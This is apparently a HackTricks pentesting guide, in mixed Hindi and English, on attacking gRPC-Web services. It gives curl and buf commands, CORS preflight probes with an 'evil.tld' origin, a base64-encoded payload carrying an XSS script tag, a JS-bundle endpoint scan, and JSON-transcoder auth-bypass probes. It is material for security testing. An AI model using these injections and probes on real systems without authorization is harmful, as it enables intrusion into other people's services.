Pentesting gRPC-Web
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Quick protocol recap and attack surface
- Transport: gRPC‑Web एक ब्राउज़र‑अनुकूल gRPC वेरिएंट को HTTP/1.1 या HTTP/2 के ऊपर proxy (Envoy/APISIX/grpcwebproxy/etc.) के माध्यम से उपयोग करता है। केवल unary और server‑streaming कॉल ही समर्थित होते हैं।
- Content-Types you will see:
- application/grpc-web (बाइनरी फ्रेमिंग)
- application/grpc-web-text (HTTP/1.1 स्ट्रीमिंग के लिए base64-एन्कोडेड फ्रेमिंग)
- Framing: हर संदेश के आगे 5‑बाइट का gRPC हेडर होता है (1‑बाइट flags + 4‑बाइट length)। gRPC‑Web में, trailers (grpc-status, grpc-message, …) बॉडी के अंदर एक विशेष फ्रेम के रूप में भेजे जाते हैं: पहला बाइट MSB सेट (0x80) के साथ, उसके बाद लंबाई और एक HTTP/1.1‑स्टाइल हेडर ब्लॉक।
- Common request headers: x-grpc-web: 1, x-user-agent: grpc-web-javascript/…, grpc-timeout, grpc-encoding. Responses grpc-status/grpc-message को trailers/body frames के माध्यम से और अक्सर ब्राउज़र के लिए Access-Control-Expose-Headers के जरिए उजागर करते हैं।
- Security‑relevant middleware often present:
- Envoy grpc_web filter and gRPC‑JSON transcoder (HTTP<->gRPC bridge)
- Nginx/APISIX gRPC‑Web plugins
- प्रॉक्सी पर CORS नीतियाँ
What this means for attackers:
- आप अनुरोध हाथ से बना सकते हैं (बाइनरी या base64 टेक्स्ट), या टूलिंग को उन्हें जनरेट/एन्कोड करने दें।
- प्रॉक्सी पर CORS की गलतियाँ cross‑site, authenticated gRPC‑Web कॉल की अनुमति दे सकती हैं (क्लासिक CORS समस्याओं के समान)।
- JSON transcoding bridges गलती से gRPC मेथड्स को बिना प्रमाणिकरण वाले HTTP endpoints के रूप में उजागर कर सकते हैं यदि routes/auth गलत कॉन्फ़िगर हों।
Testing gRPC‑Web from the CLI
Easiest: buf curl (नेटीवली gRPC‑Web सपोर्ट करता है)
- reflection के माध्यम से मेथड्स सूचीबद्ध करें (यदि सक्षम हो):
# list methods (uses reflection)
buf curl --protocol grpcweb https://host.tld --list-methods
- JSON इनपुट के साथ एक method कॉल करें, gRPC‑Web framing और headers को स्वचालित रूप से संभालते हुए:
buf curl --protocol grpcweb \
-H 'Origin: https://example.com' \
-d '{"field":"value"}' \
https://host.tld/pkg.svc.v1.Service/Method
- यदि reflection अक्षम है, तो --schema के साथ एक schema/descriptor set प्रदान करें या स्थानीय .proto फाइलों की ओर इशारा करें। देखें: buf help curl.
curl के साथ कच्चा (मैनुअल हेडर्स + फ्रेम्ड बॉडी)
बाइनरी मोड (application/grpc-web) के लिए, एक framed payload भेजें (5‑byte prefix + protobuf message)। टेक्स्ट मोड के लिए, framed payload को base64‑encode करें।
# Build a protobuf message, then gRPC-frame it (1 flag byte + 4 length + msg)
# Example using protoscope to compose/edit the message and base64 for grpc-web-text
protoscope -s msg.txt | python3 grpc-coder.py --encode --type grpc-web-text | \
tee body.b64
curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/grpc-web-text' \
-H 'X-Grpc-Web: 1' \
-H 'X-User-Agent: grpc-web-javascript/0.1' \
--data-binary @body.b64
टिप: जब HTTP/1.1 intermediaries binary streaming को तोड़ दें, तो application/grpc-web-text के साथ base64/text mode जबरदस्ती लागू करें।
CORS व्यवहार की जाँच (preflight + response)
- Preflight:
curl -i -X OPTIONS https://host.tld/pkg.svc.v1.Service/Method \
-H 'Origin: https://evil.tld' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,x-grpc-web,x-user-agent,grpc-timeout'
- एक कमजोर सेटअप अक्सर arbitrary Origin को reflect करता है और Access-Control-Allow-Credentials: true भेजता है, जिससे cross‑site authenticated calls की अनुमति मिलती है। साथ ही जांचें कि Access-Control-Expose-Headers में grpc-status, grpc-message शामिल हैं (कई deployments इन्हें client libs के लिए expose करते हैं)।
For generic techniques to abuse CORS, check CORS - Misconfigurations & Bypass.
gRPC‑Web payloads में हेरफेर
gRPC‑Web browser compatibility के लिए Content-Type: application/grpc-web-text का उपयोग एक base64‑wrapped gRPC frame stream के रूप में करता है। आप frames को decode/modify/encode कर सकते हैं ताकि fields में छेड़छाड़, flags पलटना, या payloads inject करना संभव हो।
Use the gprc-coder tool (and its Burp extension) to speed up round‑trips.
gGRPC Coder Tool के साथ Manual
- Payload को decode करें:
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
- decoded payload की सामग्री संपादित करें
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
- नया payload एन्कोड करें
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
- Burp interceptor में output का उपयोग करें:
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
gRPC‑Web Coder Burp Suite Extension के साथ मैनुअल
You can use gRPC‑Web Coder Burp Suite Extension in gRPC‑Web Pentest Suite which is easier. You can read the installation and usage instruction in its repo.
gRPC‑Web JavaScript फ़ाइलों का विश्लेषण
Web apps using gRPC‑Web ship at least one generated JS/TS bundle. Reverse them to extract services, methods, and message shapes.
- Try using gRPC-Scan to parse bundles.
- Look for method paths like /
. / , message field numbers/types, and custom interceptors that add auth headers.
- JavaScript gRPC‑Web फ़ाइल डाउनलोड करें
- इसे grpc-scan.py से स्कैन करें:
python3 grpc-scan.py --file main.js
- आउटपुट का विश्लेषण करें और नए endpoints तथा नए services का परीक्षण करें:
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
Found Messages:
grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+============+====================+==============+
| Message | Proto3StringField | 1 |
+------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+------------+--------------------+--------------+
grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+==============+====================+==============+
| Message | Proto3StringField | 1 |
+--------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+--------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+--------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+--------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+--------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+--------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+--------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+--------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField | 8 |
+--------------+--------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+=================+===================+==============+
| Message | Proto3StringField | 1 |
+-----------------+-------------------+--------------+
| MessageCount | Proto3IntField | 2 |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField | 3 |
+-----------------+-------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
| Field Name | Field Type | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1 |
+--------------+----------------+--------------+
Bridging और JSON transcoding — ध्यान देने योग्य बातें
कई परिनियोजनों में gRPC सर्वर के आगे Envoy (या समान) proxy रखा जाता है:
- grpc_web filter HTTP/1.1 POSTs को HTTP/2 gRPC में बदल देता है।
- gRPC‑JSON Transcoder .proto options (google.api.http) मौजूद होने पर gRPC methods को HTTP JSON endpoints के रूप में expose करता है।
pentesting के दृष्टिकोण से:
- जब transcoder enabled हो, तो /
. / पर application/json के साथ सीधे HTTP JSON कॉल आज़माएँ (auth/route mismatches are common):
curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/json' \
-d '{"field":"value"}'
- जाँच करें कि unknown methods/parameters को reject किया जाता है या pass through किया जाता है। कुछ configs unmatched paths को upstream तक forward कर देते हैं, जो कभी-कभी auth या request validation को bypass कर सकते हैं।
- x-envoy-original-path और संबंधित headers पर ध्यान दें जो proxies द्वारा जोड़े जाते हैं। जो upstreams इन पर भरोसा करते हैं, वे तब abusable हो सकते हैं यदि proxy इन्हें sanitize करने में विफल हो।
References
- Hacking into gRPC‑Web Article by Amin Nasiri
- gRPC‑Web Pentest Suite
- gRPC‑Web protocol notes (PROTOCOL‑WEB.md)
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks